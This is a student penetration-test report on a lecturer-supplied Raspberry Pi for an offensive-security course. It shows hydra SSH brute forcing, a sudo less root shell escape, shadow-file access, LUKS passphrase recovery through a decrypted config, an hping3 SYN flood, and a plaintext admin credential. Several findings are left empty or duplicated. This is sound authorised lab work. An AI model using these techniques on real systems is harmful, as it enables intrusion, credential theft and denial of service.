

PENETRATION TEST REPORT

im Studiengang

Informatik Cybersecurity

an der dualen Hochschule Baden-Württemberg Mannheim

von

Name, Vorname: Hartinger, Steven

Abgabedatum: 20.03.2023

Matrikelnummer, Kurs: 7146735, TINF20CS1

Contents

1	Executive Summary 3		
2 Findings			
	2.1 Possible Path Traversal of Apache Server on port 80	. 5	
	2.2 Weak Password for User "Bluey"	. 6	
	2.3 Finding 3 - No SSH Brute-Force Protection	. 7	
	2.4 Finding 4 - SSH Root Access via less	. 8	
	2.5 Finding 4 - SSH Root Access via less	. 9	
	2.6 Finding 5 - SSLv2, SSLv3, TLS 1.1 support	. 10	
	2.7 Finding 6 - Vulnerable OpenSSH Version	. 11	
	2.8 Finding 7 - Vulnerable Apache Version	. 12	
	2.9 Finding 7 - Root read access on port 433	. 13	
	2.10 Finding 7 - Root read access on port 433	. 14	
	2.11 Finding 8 - Insecure coding leads to disk-image access	. 15	
	2.12 Finding 8 - Insecure coding leads to disk-image access	. 16	
	2.13 Finding 8 - Insecure coding leads to disk-image access	. 17	
	2.14 Finding 8 - Insecure coding leads to disk-image access	. 18	
	2.15 Finding 9 - Credentials accessible inside container image $\dots \dots \dots \dots \dots \dots \dots$. 19	
	2.16 Finding 10 - Root access via authorized keys entry of user bluey	. 20	
	2.17 Finding 11 - Weak cipher suite support	. 21	
	2.18 Finding 12 - SYN Flooding Attack	. 22	
	2.19 Finding 13 - No encryption for Webserver on Port 80	. 23	
	2.20 Finding 14 - Root OpenSSL acces through management server	. 24	
	2.21 Finding 15	. 25	
	2.22 Finding 16 - No encryption for SD card of Raspberry	. 26	
	2.23 Finding - Possible determination of OpenSSL version	. 27	
	2.24 Finding - Possible determination of Apache Server version	. 28	
	2.25 Finding - Outdated Python Version	. 29	
	2.26 Finding - Outdated Sudo Version	. 30	
3	Abkürzungsverzeichnis	31	
4	Attachments	32	

1 Executive Summary

Synopsis

As part of the lecture "Offensive Security" by Dr. Prof. Bauer the students of the TINF20CS1 performed a review on a Raspberry Pi handed by our lecturer.

Scope

Our assessment included:

- Validation of the given Raspberry Pi without exact requirements.
- Provide countermeasures for vulnerablities of the system.

The threats included:

- Network Eavesdrop The attacker is on a wireless communication channel or somewhere else on the network
- Network Attack The attacker is on a wireless communication channel or somewhere else on the network
- Physical Access The attacker has physical access to the device
- Malicious Code Malicious code loaded onto the Raspberry Pi

Testing was performed on:

• Raspberry Pi 3

Limitations

For this assessment we are not having any limitation besides a time limit.

Key Findings

Dashboard

Target Metadata

Targets

Finding Breakdown

Category Breakdown

2 Findings

2.1 Possible Path Traversal of Apache Server on port 80

Finding

Impact

Possible Path Traversal of Apache Server on port 80

Risk Medium

Category Access Controls


An attacker could access sensitive data. This can also happen with any user by accident.

Description

After performing an nmap scan three open ports where found. Since there is most likely a Hypertext Transfer Protokoll (HTTP) service running on port 80 a http-enum script was used to try to access several potentially interesting paths.

```
/home/kali/Schreibtisch]
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:50 CET
Wmap scan report for 172.16.0.29
Host is up (0.00074s latency).
Not shown: 997 closed tcp ports (reset)
0/tcp open http Apache httpd 2.4.54 ((Debian))
_http-server-header: Apache/2.4.54 (Debian)
 http-enum:
   /home/: Potentially interesting directory w/ listing on 'apache/2.4.54 (debian)'
43/tcp open ssl/https?
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
OS details: Linux 4.15 -
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
          ADDRESS
HOP RTT
   0.74 ms 172.16.0.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Wmap done: 1 IP address (1 host up) scanned in 9.26 seconds
```

The script was able to access the "/home" path where the apache server has its directories saved. In this case no sensitive files were found.



2.2 Weak Password for User "Bluey"

Finding

Weak Password for User "Bluey"

Risk

High

Category

Access Controls

Impact

An attacker can login as the user "bluey" and access Secure Shell (SSH).

Description

After finding out the user names in the last finding the tool hydra was used to try to brute force the passwords of the users. Therefore we used the following script:

hydra -l bluey -P rockyou.txt 172.16.0.29 ssh -t 4 -V -I

The file "rockyou.txt" provided by kali linux includes a list of popular passwords. The hydra script tries to establish a SSH connection by trying every single one of the passwords. With the

option "-t 4" four passwords are used at once.

```
savannah"
                                                                              555 of 14344399 [child 1] (0/0)
                                  - login "bluey" - pass "hottie1" -
- login "bluey" - pass "phoenix" -
                                                                             556 of 14344399 [child 2] (0/0)
557 of 14344399 [child 3] (0/0)
 ATTEMPT] target 172.16.0.29 -
 ATTEMPT] target 172.16.0.29
 22][ssh] host: 172.16.0.29 login: bluey password: phoen:
of 1 target successfully completed, 1 valid password found
 22][ssh] host: 172.16.0.29
                                                    password: phoenix
lydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-06 11:31:30
                   [/usr/share/wordlists]
    ssh bluey@172.16.0.29
he authenticity of host '172.16.0.29 (172.16.0.29)' can't be established.
ED25519 key fingerprint is SHA256:6Ha71kTRiSiyuQbUB1+LVlB71pL8t5cVtI+ZNn1sDI4.
This key is not known by any other names
re you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.16.0.29' (ED25519) to the list of known hosts.
bluey@172.16.0.29's password:
Permission denied, please try again.
pluey@172.16.0.29's password:
inux plunder 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022 aarch64
 i-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.
 lunder bluey [~]:
```

As shown in the graphic above, Hydra was able to find out the password of the user "bluey" which is "phoenix". With this information it was possible to establish a SSH connection with the user "bluey".

Recommendation Immediate change password of user "bluey" and establish an appropriate password policy.

2.3 Finding 3 - No SSH Brute-Force Protection

Finding	No SSH Brute-Force Protection			
Risk	Medium			
Category	Misconfiguration			
Impact	An attacker is able to brute force the passwords of the ssh user accounts.			
Description	Considering there are no limitations for login attempts are configured performing an brute force attack via the hydra tool is possible (See Finding Weak Password for User "Bluey").			
Recommendation	Limit the login attempts of the users.			

2.4 Finding 4 - SSH Root Access via less

Finding

SSH Root Access

Risk

High

Category

Access Controls, Privilege Escalation

Impact

An attacker is able to gain SSH root access.

Description

After logging into the user account "bluey" the command "sudo -l" illustrates the users privileges.

```
Plunder bluey [~]: sudo -l
Matching Defaults entries for bluey on plunder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:
    env_keep+="ftp_proxy FTP_PROXY", env_keep+=RSYNC_PROXY
User bluey may run the following commands on plunder:
    (root) NOPASSWD: /usr/bin/less /var/log/auth.log
```

The command disclosed that "bluey" has root access for the command: "/usr/bin/less /var/log/auth.log" without as password. Although there was initially a misinterpretation of the output when attempting to run "sudo less" on a file or accessing the "auth.log" file, the command ultimately worked. Upon conducting research on methods for escalating privileges, it was discovered that it is possible to input "! /bin/bash" into the less command line, which will grant root access to the bash.

```
.under bluey [~]: sudo /usr/bin/less /var/log/auth.log
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/sudoers
 This file MUST be edited with the 'visudo' command as root.
  Please consider adding local content in /etc/sudoers.d/ instead of
  directly modifying this file.
  See the man page for details on how to write a sudoers file.
Defaults
           env_reset
Defaults
           mail_badpass
           secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin"
Defaults
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
        ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
```

Executing the command "id" will display the current user. The graphic above illustrates that the current user has a uid of zero, which corresponds to the root user. The root user has all privileges as shown under the headline "privilege specification".

2.5 Finding 4 - SSH Root Access via less

Finding

SSH Root Access

2.6 Finding 5 - SSLv2, SSLv3, TLS 1.1 support

Finding

SSLv2, SSLv3,TLS 1.1 support

Risk

High

Category

Misconfiguration, Patching

Impact

Decrypt Data, Man in the Middle Attacks

Description

The Tansport Layer Security (TLS) configuration supports the deprecated protocols: SSLv2, SSLv3, TLS 1.1. Executing the command:

"openssls_client -connect 172.16.0.29:433 -ssl2"

opens an SSLv2 connection to the server 172.16.0.29 on port 433 and displays the encryption and certificate information.

```
openssl s_client -connect 172.16.0.29:443 -ssl2
CONNECTED(00000005)
depth=0 CN = Infoservice
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = Infoservice
verify return:1
548017543008:error:1406D0B8:SSL routines:GET_SERVER_HELLO:no cipher list:s2_clnt.c:450:
no peer certificate available
No client certificate CA names sent
SSL handshake has read 470 bytes and written 53 bytes
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
   Protocol
             : SSLv2
   Cipher
   Session-ID:
   Session-ID-ctx:
   Master-Key:
   Key-Arg : None
   PSK identity: None
   PSK identity hint: None
   SRP username: None
   Start Time: 1677903762
    Timeout : 300 (sec)
   Verify return code: 18 (self signed certificate)
```

2.7 Finding 6 - Vulnerable OpenSSH Version

Finding

Vulnerable OpenSSH Version

Risk

Medium

Category

Vulnerable Software Version

Impact

An attacker who can access the socket of the forwarding agent remotely may be able to execute unauthorized code with the same privileges as the process or cause a Denial of Service (DoS) situation. An Attacker can perform privilege escalation when AuthorizedKeysCommand/AuthorizedPrincipalsCommand are configured. CVE-2021-28041, CVE-2021-41617

Description

An nmap scan illustrated the openssh version.

```
-[/home/kali/Schreibtisch
    nmap -A 172.16.0.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:30 CET
Nmap scan report for 172.16.0.29
Host is up (0.00051s latency).
Not shown: 997 closed tcp ports (reset)
        STATE SERVICE
                         VERSION
22/tcp open ssh
                         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 ssh-hostkey:
    3072 75934ce29660efea0a2317916ccd219a (RSA)
    256 cce6b2d97e14949ed93ba7c657f4fa04 (ECDSA)
   256 9b25fb6470f248683d6d49ffe39cf688 (ED25519)
                         Apache httpd 2.4.54 ((Debian))
80/tcp open http
_http-title: Site doesn't have a title (text/html).
_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/https?
 sslv2:
    SSLv2 supported
    ciphers: none
 ssl-date: 2023-03-04T00:21:05+00:00; -2d08h09m56s from scanner time.
 ssl-cert: Subject: commonName=Infoservice
 Not valid before: 2023-02-12T19:56:38
 _Not valid after:
                    2033-02-09T19:56:38
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
Running: Linux 4.X 5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The openssh version "OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)" has several vulnerabilites under certain circumstances mentioned in the impact part.

2.8 Finding 7 - Vulnerable Apache Version

Finding

Vulnerable Apache Version

Risk

Medium

Category

Vulnerable Software Version

Impact

The client may not interpret security-related headers if a malicious backend causes the response headers to be truncated early, resulting in some headers being included in the response body. An attacker can perform HTTP Request Smuggeling due to inconsistend interpretation of HTTP Requests. CVE-2022-37436, CVE-2022-36760

Description

An nmap scan illustrated the Apache version.

```
-[/home/kali/Schreibtisch
    nmap -A 172.16.0.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:30 CET
Nmap scan report for 172.16.0.29
Host is up (0.00051s latency).
Not shown: 997 closed tcp ports (reset)
        STATE SERVICE
                         VERSION
22/tcp open ssh
                         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 ssh-hostkey:
    3072 75934ce29660efea0a2317916ccd219a (RSA)
    256 cce6b2d97e14949ed93ba7c657f4fa04 (ECDSA)
   256 9b25fb6470f248683d6d49ffe39cf688 (ED25519)
80/tcp open http
                         Apache httpd 2.4.54 ((Debian))
_http-title: Site doesn't have a title (text/html).
_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/https?
 sslv2:
    SSLv2 supported
    ciphers: none
 ssl-date: 2023-03-04T00:21:05+00:00; -2d08h09m56s from scanner time.
 ssl-cert: Subject: commonName=Infoservice
 Not valid before: 2023-02-12T19:56:38
 _Not valid after:
                    2033-02-09T19:56:38
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The apache version "Apache 2.4.54" has several vulnerabilities.

2.9 Finding 7 - Root read access on port 433

High

Finding

Root read access on port 433

Risk

Category

Broken Access Control, Misconfiguration

Impact

An attacker read access to all files on the server. This can also happen to regular users by accident.


Description

After trying to access the server on port 433 with the url https://172.16.0.29:433 an error message was displayed:

Error opening "548660451168:error:02001002:system library:fopen:No such file or directory:bss file.c:169:fopen(",'r')

548660451168:error:2006D080:BIO routines:BIO new file:no such file:bss file.c:172:

After considering serveral option what the purpose of the Hypertext Transfer Protokoll Secure (HTTPS) service running on port 433 was, it turned out that it represents the file system of the server. It is possible to access serveral files on the server.



Shown in the graphic above it was possible to access the shadow.txt file of the server where the hashes of all user passwords are listed.

2.10 Finding 7 - Root read access on port 433

Finding

Root read access on port 433

2.11 Finding 8 - Insecure coding leads to disk-image access

Finding

Insecure coding leads to disk-image access

Risk

Category Impact Obfuscation, information disclosure

Medium

An attacker can obtain the passphrase to decrypt the disk-image file 'container.img'

Description

Analyzing the file system of the server named 'plunder' running on port 22, a disk-image file 'container.img' was found. After trying to mount the image the following error message appeared:

```
plunder [/]: mkdir /mnt/ChromeOS
plunder [/]: mount -o loop /srv/container.img /mnt/ChromeOS/
mount: /mnt/ChromeOS: unknown filesystem type 'crypto_LUKS'.
```

Given that the filesystem is apparently from type 'crypto_LUKS' the disk-image is most likely encrypted. Through research the following command was tried to decrypt the filesystem:

```
plunder [/srv]: cryptsetup luksOpen container.img crypted_sda1
Enter passphrase for container.img:
No key available with this passphrase.
Enter passphrase for container.img: Error reading passphrase from terminal.
plunder [/srv]:
```

The first method to access the container image was a brute force attack. Since we have credentials for the SSH we copied the image to our local kali linux machine with the following command: "scp root@172.16.0.29:/srv/container.img output.img" After copying the file a brute force attack was performed using the tool bruteforce-luks.

```
(root@kali)=[~]
# bruteforce=luks -t 6 -f /usr/share/wordlists/rockyou.txt -v 30 output.img
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3763
Tried passwords per second: 125,433333
Last tried password: antonella

Tried passwords: 7535
Tried passwords per second: 125,583333
Last tried password: neisha

Tried passwords: 11323
Tried passwords per second: 125,811111
Last tried password: vainilla
```

However there was no matching password found with this method.

2.12 Finding 8 - Insecure coding leads to disk-image access

Finding

Insecure coding leads to disk-image access

Description

By analyzing the processes of the server we found that a compiled python file 'fdesetup.pyc' is executed directly after rebooting the server. Unfortunately it is not possible to read a compiled python file without decompiling it. The contents of the 'fdesetup.pyc' file appear as follows:

```
r!cCsJ|+d+r#td|+++dd|d|dg}tj||+d+++d
Nrz$Opening LUKS device using password: ◆
cryptsetupluksOpen◆
             mapper_namerr**input*r*
subprocessZ
cneck_outputr)rpassword◆cmdrrr ◆open_luks_device%s
r+cCs.|◆dertd◆dd|dg}t◆|◆dS)NrzClosing LUKS device.r"Z luksClo
check_call)rr*rrr ◆close_luks_device+s
r-cCsX|◆d◆r td|◆d|◆dd◆ddd |d
                                                                        luksCloser$)rr(+

    dS)NrzAdding passphrase: z (using existing passphrase: *)r"Z

              --batch-modez--pbkdf=pbkdf2z--pbkdf-force-iterations=1000r#rrr%r'+rZ
                                                                                                     old_passwordZ
                                                                                                                       new passwordr*rrr
r1cCsR|*d*rtd|*d|***ddd|dg}tj||*|***d *d
luksRemoveKeyr/r#rrr%r'r0rrrse: ◆remove_luks_passphrase7s r"Z
r2s$gAAAAABj6U1FMZkAOONUKuE5IWJFY0rY8jeRSfl2TqYpqfI1TrTP8ceGBoffIZt7XvWS5pXWE9afjswEi_fSq9D-tcEnh8QflWQu2j4l58
vsW8QLKpCsQuxYjrMTQ0yE7bwAkAUhBJrxt7TÍBfZQPpsqCbt5Emrpb6eiudBNgI_F5V1KoRdG8WbEie-i1ix-XMcqZu-RhKDkUjw7oGT-TaAd
p1Wgc0d-yT50iXZaVvgyjlpW-8Z8UER14NT8WigQvTLtNr-bojjMaqzSySzBVFAbea5o0mi768M7tjYOmcdifMYuIQNwSMPWb1o8xdkzNVyYE0
okdf-force-iterations=1000 r#zDerived password: Zinitial_passphrasezError with key setup.)•file•Zmountz
?rZencrypted_configurationZencrypt+dumpsrr+loadsZdecryptr)ZCalledProcessError+stderr+exitr,Zcallrrrr
```

The few readable keywords inside the file like 'passphrase' or 'cryptsetupluksOpen' indicate that it must be a configuration for the 'cryptsetup luks' libary. Therefore the file was copied to the local kali machine to decompile it. Since the tool 'decompyle6' didn't work for this specific file a script was written to decompilation:

```
GNU nano 6.4
import dis
def extract_code_from_pyc_file(pyc_file_path):
    with open(pyc_file_path, 'rb') as f:
        magic = f.read(4)
        moddate = f.read(4)
        code = f.read()
if magic b'\x03\xf3\r\n' and magic # b'\x03\xf3\r\r':
        raise ValueError("Invalid .pyc file magic: %s" % repr(magic))
    return dis.disassemble(code)
extract_code_from_pyc_file(/home/kali/Schreibtisch/todecompile.pyc)
```

However this script failed to open this file as well.

2.13 Finding 8 - Insecure coding leads to disk-image access

Finding

Insecure coding leads to disk-image access

Description

After researching several methods the tool 'pycdc' worked for this specific file. Inside the decompiled file an encrypted configuration was found (see attachment 4). Luckily the file included the private key to decrypt the configuration. The cipher used is fernet. The following script decrypted the encrypted configuration:

```
#! /usr/bin/python
from cryptography.fernet import Fernet
key = b'dGH1BR5gJ6wz6rneOkvmW50UsgY_J3kBZ1RIUmsSiYw='

f = Fernet(key)

token=b'gAAAAAB6U1FZADONUKESIJFYDrY8jeRSFL2TqYpqfIiTrTP8ceGBoffIZt7X
vWS5pXWE9afjswEi_fSq9D-tcEnh8QflWQu2j4158VrbjbD1s8kWRqcv665XHDiFSED
PAL1yb2w=='
decrypted f.decrypt(token)

print(decrypted)
```

The output of the script is:

```
b'{"debug": false "initial_passphrase":"Q99mjPp4xMwnEpgJd4kd5LNe",
"mapper_name": "fde", "source_dev": "/srv/container.img",
"interface_mac": "eth0", "source_files": [["/proc/cpuinfo", "filter_cpuinfo
    "], ["/sys/kernel/debug/bluetooth/hci0/identity", null], ["/sys/devices/
    platform/soc/3f980000.usb/usb1/1-1/1-1.1 /1-1.1
:1.0/net/eth0/address", null]]}'
```

From the output it can be extracted that "debug" is set to "false". By examining the decompiled file we found out that the passphrase of the container image gets printed when "debug" is set to "true". Owning the key of the fernet encryption it was possible to encrypt the same configuration we just decrypted while setting "debug" to "true" instead of "false". The tool vim now enables the exchange of the old encrypted configuration with the new one while the debug mode is set to true and still maintains the magic bytes of the compiled python file. After those changes the file was executed and had the following output including the passphrase of the encrypted container:

```
plunder 101: python3 /usr/local/bin/fdesetup.pyc
cryptsetup luksFormat --batch-mode --pbkdf=pbkdf2 --pbkdf-force-iterations=1000 /srv/container.img
Derived password: 7ef05a8940beec60ec031bcfbac709c1c77e2087ae65000f0a53aea780c7ab41
Opening LUKS device using password: 7ef05a8940beec60ec031bcfbac709c1c77e2087ae65000f0a53aea780c7ab41
Device fde already exists.
Adding passphrase: 7ef05a8940beec60ec031bcfbac709c1c77e2087ae65000f0a53aea780c7ab41 (using existing passphrase: Q99mjPp4xMwnEpgJd4kd5LNe)
No key available with this passphrase.
Error with key setup.
Closing LUKS device.
```

With the given output from above we were able to access the container image.

2.14 Finding 8 - Insecure coding leads to disk-image access

Finding

Description

Insecure coding leads to disk-image access

Nevertheless no content was visible for because the device had to be mounted first. The following command made this happen:

2.15 Finding 9 - Credentials accessible inside container image

Finding

Credentials accessible inside container image

Risk

High

Category

Information disclosure

Impact

An attacker gains admin password of some service

Description

Inside the container image of the previous finding insecure coding there was a 'cryptofs_init' file. Opening the file there was a admin password as shown in the graphic below.

```
plunder [/media/my_device]: cat cryptofs_init
#!/bin/bash
#
#

MAC=`ifconfig eth0 | grep ether | awk '{print $2}'`
/usr/bin/curl -u admin:dsMDYzFjEqdm9T77QMfYMLHF "https://dhbw.johannes-bauer.com/offsec/fde.html?mace.
```

Recommendation

Credentials should be stored in a seperat environment. Further the password should not be stored in clear text in a file.

2.16 Finding 10 - Root access via authorized keys entry of user bluey

Finding

Root access via authorized keys entry of user bluey

Risk

Critical

Category

Privilege Escalation, Misconfiguration

Impact

An attacker with access to user bluey can gain root access

Description

The authorized_keys file in the root directory has an entry.

Given this information it is feasible to obtain root access by logging into the root account via ssh without using password.

```
Plunder bluey [/]: ssh root@172.16.0.29

The authenticity of host '172.16.0.29 (172.16.0.29)' can't be established.

ECDSA key fingerprint is SHA256:92+PlabRkxftnY5bhPTPJ6Tleex+rckqQrRros9ca4I.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '172.16.0.29' (ECDSA) to the list of known hosts.

Linux plunder 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022 aarch64

Last login: Sat Mar 4 16:35:38 2023 from 172.16.0.1

Wi-Fi is currently blocked by rfkill.

Use raspi-config to set the country before use.
```

2.17 Finding 11 - Weak cipher suite support

Finding	Weak cipher suite support
Risk	High
Category	Misconfiguration, Cryptography
Impact	An attacker can decrypt encrypted data traffic on port 443
Description	Running the following nmap script: "nmap 10.0.0.39 -sV —script ssl-enum-ciphers -p 443" pointed out that the TLS configuration supports broken ciphers as shown in the graphic below
Recommendation	Disable support for broken ciphers

2.18 Finding 12 - SYN Flooding Attack

Finding

SYN Flooding Attack

Risk

Medium

Category


Denial of Service

Impact

The DUT is not accessible

Description

The execution of a SYN Flooding Attack was accomplished with the following command: hping 3 -c 15000 -d 120 -S -w 64 -p 80 -flood -rand-source 172.16.0.29 This command sends 15000 packets with 120 bytes and a window size of 64 to port 80.



Illustrated in the graphic, wireshark captured the TCP SYN packages which were send to the DUT. After a couple of seconds it was not possible to access the server anymore.

Recommendation

Possible countermeasures to SYN Flooding are intrusion prevention systems that monitor the network for suspicious behaviour or implementing SYN cookies to track incoming connection until the three-way handshake is completed.

2.19 Finding 13 - No encryption for Webserver on Port 80

Finding

No encryption for Webserver on Port 80

Risk

High

Category

Misconfiguration

Impact

An attacker can eavesdrop the network packages in plaintext

Description

An nmap scan on the DUT indicated that the service running on port 80 is an unencrypted http service.

```
/home/kali/Schreibtisch
                     script=http-enum 172.16.0.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:50 CET
 Wmap scan report for 172.16.0.29
Host is up (0.00074s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh
80/tcp open http
 2/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
0/tcp open http Apache httpd 2.4.54 ((Debian))
_http-server-header: Apache/2.4.54 (Debian)
  http-enum:
 __/home/: Potentially interesting directory w/ listing on 'apache/2.4.54 (debian)'
443/tcp open ssl/https?
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT
    0.74 ms 172.16.0.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
```

The indication that the service uses http is confirmed to be true after accessing the address 172.16.0.29:80.

Recommendation Use https instead to encrypt the data traffic for third parties.

2.20 Finding 14 - Root OpenSSL acces through management server

Finding

Root OpenSSL access through management server

Risk

Critical

Category

Access Controls, Obfuscation

Impact

An attacker can gain root access of the OpenSSH server.

Description

2.21 Finding 15 -

FindingRisk

 ${\bf check_version.pyc}$

Category Impact

Description

2.22 Finding 16 - No encryption for SD card of Raspberry

Risk	Critical
Finding	No encryption for SD card of Raspberry
Category	Cryptography, Misconfiguration
Impact	An attacker can read all the data on Secure Digital (SD) card
Description	Due to the physical access to the device it was possible to remove the SD card of the device and plug it inside a SD card reader. The SD card reader was able to read out the unencrypted data stored on the device.
Recommendation	Use encryption for the SD card of the Raspberry Pi. An example for the encryption could be the use of a password.

2.23 Finding - Possible determination of OpenSSL version

Finding

Possible determination of OpenSSH version

Risk

Informational

Category

Information Disclosure

Impact

An attacker is able to see the OpenSSL version of the service running on port 22

Description

As shown in the graphic below the output of an nmap scan disclosed the version of the OpenSSH server

```
[/home/kali/Schreibtisch]
              script=http-enum 172.16.0.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:50 CET
Nmap scan report for 172.16.0.29
Host is up (0.00074s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh
80/tcp open http
                         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
                        Apache httpd 2.4.54 ((Debian))
 _http-server-header: Apache/2.4.54 (Debian)
 http-enum:
    /home/: Potentially interesting directory w/ listing on 'apache/2.4.54 (debian)'
443/tcp open ssl/https?
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT
            ADDRESS
   0.74 ms 172.16.0.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
```

2.24 Finding - Possible determination of Apache Server version

Finding

Possible determination of Apache Server version

Risk

Informational

Category

Information Disclosure

Impact

An attacker is able to see the Apache version of the service running on port 80

Description

As shown in the graphic below the output of an nmap scan disclosed the version of the Apache server

```
[/home/kali/Schreibtisch]
              script=http-enum 172.16.0.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:50 CET
Nmap scan report for 172.16.0.29
Host is up (0.00074s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh
80/tcp open http
                        OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
                        Apache httpd 2.4.54 ((Debian))
 _http-server-header: Apache/2.4.54 (Debian)
 http-enum:
    /home/: Potentially interesting directory w/ listing on 'apache/2.4.54 (debian)'
443/tcp open ssl/https?
MAC Address: B8:27:EB:95:86:99 (Raspberry Pi Foundation)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT
            ADDRESS
   0.74 ms 172.16.0.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
```

2.25 Finding - Outdated Python Version

Finding Risk

Category

Outdated Python version

Impact

Description

2.26 Finding - Outdated Sudo Version

Finding
Risk
Category

Impact

Outdated Sudo Version

Description

3 Abkürzungsverzeichnis

SSH Secure Shell

HTTP Hypertext Transfer Protokoll

TLS Tansport Layer Security

DoS Denial of Service

HTTPS Hypertext Transfer Protokoll Secure

SD Secure Digital

4 Attachments

```
./pycdc /home/kali/Schreibtisch/todecompile.pyc
  # Source Generated with Decompyle++
# File: todecompile.pyc (Python 3.9)
4 Unsupported opcode: JUMP_IF_NOT_EXC_MATCH import sys
  import json
6 import subprocess
7 import hashlib
8 from cryptography.fernet import Fernet
  key = b'dGH1BR5gJ6wz6rne0kvmW50UsgY_J3KBZ1RIUmsS0Yw='
  fernet Fernet (key)
  def filter_cpuinfo(data):
      data = data.decode('ascii')
      data = data.split('\n')
13
      data = (lambda .0: [ line for line in .0 if 'cpu MHz' not in line ])(data) data
14
       = (lambda .0: [ line for line in .0 if 'bogomips' not in line ])(data) data = '
      \n'.join(data)
      return data.encode('ascii')
      data_filters = {
16
      'filter_cpuinfo': filter_cpuinfo }
      def derive_password (configuration):
18
      Unsupported opcode: WITH_EXCEPT_START
19
      input_data = bytearray.fromhex('30
      b6a9aec9927ae4f718217ddee3453789847be071bb536cf14cf71d257ef09a')
      # WARNING: Decompyle incomplete
21
  def open_luks_device(configuration, password):
      if configuration.get('debug'):
           print(f'''Opening LUKS device using password: {password}''')
      cmd = [
25
      'cryptsetup',
       'LuksOpen',
      configuration['source_dev'],
      configuration['mapper_name']]
      subprocess.check_output(cmd, f'''{password}\n'''.encode('ascii'), **('input',))
      def close_luks_device(configuration):
31
      if configuration.get('debug'):
           print('Closing LUKS device.')
      cmd = [
       'cryptsetup',
35
       'luksClose',
      configuration['mapper_name']]
      subprocess.check_call(cmd)
38
  def add_luks_passphrase (configuration, old_password, new_password):
      if configuration.get('debug'):
           print(f''', Adding passphrase: {new_password} (using existing
                                                                             passphrase:
41
      {old_password})''')
      cmd = [
       'cryptsetup',
       'LuksAddKey',
```

```
'--batch-mode',
45
                    '--pbkdf-pbkdf2',
46
                    '--pbkdf-force-iterations=1000', configuration['source_dev']]
                   subprocess.check_output(cmd, f'''{old_password}\n{new_password}\n'''.encode('
                 ascii'), **('input',))
        def remove_luks_passphrase(configuration, old_password, new_password):
                   if configuration.get('debug');
50
